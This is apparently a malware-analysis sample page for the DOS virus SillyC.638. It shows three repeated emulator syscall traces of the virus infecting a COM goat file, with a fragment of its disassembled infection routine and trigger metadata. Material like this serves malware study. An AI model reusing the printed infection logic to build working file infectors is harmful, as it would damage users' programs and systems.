Sample viewer

vx.netlux.org/Virus.DOS.SillyC.638

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:53:07.083249805Z 26 PC: 12ba8 | Set disk transfer address
2018-12-17T22:53:07.084895178Z 78 PC: 12bc4 | Find first file
2018-12-17T22:53:07.091293546Z 61 PC: 12c13 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:53:07.097509427Z 63 PC: 12c2a | Read file or device (Read 5 bytes on handle 5)
2018-12-17T22:53:07.103872844Z 44 PC: 12c53 | Get time 0x12c53: cmp dh, 0xd
0x12c56: jne 0x12c6f
0x12c58: call 0x12d08
0x12c5b: mov dx, 0x363
0x12c5e: mov cx, 5
0x12c61: mov bx, word ptr [0x36c]
0x12c65: mov ah, 0x40
0x12c67: int 0x21
0x12c69: call 0x12ced
0x12c6c: jmp 0x12d17
0x12c6f: call 0x12d08
0x12c72: jae 0x12c77
0x12c74: jmp 0x12ce0
0x12c76: nop
0x12c77: mov ax, word ptr es:[0x1a]
0x12c7b: and al, 0xf0
0x12c7d: add ax, 0x110
0x12c80: mov word ptr [0x37a], ax
0x12c83: mov dx, 0x379
0x12c86: mov cx, 5
2018-12-17T22:53:07.106083723Z 66 PC: 12d16 | Move file pointer
2018-12-17T22:53:07.107272054Z 64 PC: 12c91 | Write file or device (Write 5 bytes on handle 5)
2018-12-17T22:53:07.109692807Z 66 PC: 12cb6 | Move file pointer
2018-12-17T22:53:07.110914007Z 64 PC: 12cca | Write file or device (Write 638 bytes on handle 5)
2018-12-17T22:53:07.129581849Z 62 PC: 12cf5 | Close file
2018-12-17T22:53:07.13448831Z 67 PC: 12d06 | Get or set file attributes
2018-12-17T22:53:07.151720332Z 26 PC: 12cdc | Set disk transfer address
2018-12-17T22:53:07.153301902Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-17T22:53:07.157558679Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":11113,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:29:57.515193211Z 26 PC: 12ba8 | Set disk transfer address
2018-12-25T12:29:57.516705564Z 78 PC: 12bc4 | Find first file
2018-12-25T12:29:57.522652931Z 61 PC: 12c13 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:29:57.529161166Z 63 PC: 12c2a | Read file or device (Read 5 bytes on handle 5)
2018-12-25T12:29:57.536077299Z 44 PC: 12c53 | Get time 0x12c53: cmp dh, 0xd
0x12c56: jne 0x12c6f
0x12c58: call 0x12d08
0x12c5b: mov dx, 0x363
0x12c5e: mov cx, 5
0x12c61: mov bx, word ptr [0x36c]
0x12c65: mov ah, 0x40
0x12c67: int 0x21
0x12c69: call 0x12ced
0x12c6c: jmp 0x12d17
0x12c6f: call 0x12d08
0x12c72: jae 0x12c77
0x12c74: jmp 0x12ce0
0x12c76: nop
0x12c77: mov ax, word ptr es:[0x1a]
0x12c7b: and al, 0xf0
0x12c7d: add ax, 0x110
0x12c80: mov word ptr [0x37a], ax
0x12c83: mov dx, 0x379
0x12c86: mov cx, 5
2018-12-25T12:29:57.538252878Z 66 PC: 12d16 | Move file pointer
2018-12-25T12:29:57.540408007Z 64 PC: 12c91 | Write file or device (Write 5 bytes on handle 5)
2018-12-25T12:29:57.544466234Z 66 PC: 12cb6 | Move file pointer
2018-12-25T12:29:57.546964346Z 64 PC: 12cca | Write file or device (Write 638 bytes on handle 5)
2018-12-25T12:29:57.562487479Z 62 PC: 12cf5 | Close file
2018-12-25T12:29:57.56959211Z 67 PC: 12d06 | Get or set file attributes
2018-12-25T12:29:57.579904779Z 26 PC: 12cdc | Set disk transfer address
2018-12-25T12:29:57.581448297Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-25T12:29:57.58833506Z 76 PC: 12a86 | Terminate with return code (Return code = '36')

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":13,"TimeBased":true,"OriginalID":11113,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:29:57.563179171Z 26 PC: 12ba8 | Set disk transfer address
2018-12-25T12:29:57.564507729Z 78 PC: 12bc4 | Find first file
2018-12-25T12:29:57.571543254Z 61 PC: 12c13 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:29:57.58050457Z 63 PC: 12c2a | Read file or device (Read 5 bytes on handle 5)
2018-12-25T12:29:57.598780538Z 44 PC: 12c53 | Get time 0x12c53: cmp dh, 0xd
0x12c56: jne 0x12c6f
0x12c58: call 0x12d08
0x12c5b: mov dx, 0x363
0x12c5e: mov cx, 5
0x12c61: mov bx, word ptr [0x36c]
0x12c65: mov ah, 0x40
0x12c67: int 0x21
0x12c69: call 0x12ced
0x12c6c: jmp 0x12d17
0x12c6f: call 0x12d08
0x12c72: jae 0x12c77
0x12c74: jmp 0x12ce0
0x12c76: nop
0x12c77: mov ax, word ptr es:[0x1a]
0x12c7b: and al, 0xf0
0x12c7d: add ax, 0x110
0x12c80: mov word ptr [0x37a], ax
0x12c83: mov dx, 0x379
0x12c86: mov cx, 5
2018-12-25T12:29:57.60150787Z 66 PC: 12d16 | Move file pointer
2018-12-25T12:29:57.608247682Z 64 PC: 12c91 | Write file or device (Write 5 bytes on handle 5)
2018-12-25T12:29:57.611328451Z 66 PC: 12cb6 | Move file pointer
2018-12-25T12:29:57.613279339Z 64 PC: 12cca | Write file or device (Write 638 bytes on handle 5)
2018-12-25T12:29:57.632229795Z 62 PC: 12cf5 | Close file
2018-12-25T12:29:57.641318072Z 67 PC: 12d06 | Get or set file attributes
2018-12-25T12:29:57.650107159Z 26 PC: 12cdc | Set disk transfer address
2018-12-25T12:29:57.651426069Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-25T12:29:57.656090115Z 76 PC: 12a86 | Terminate with return code (Return code = '36')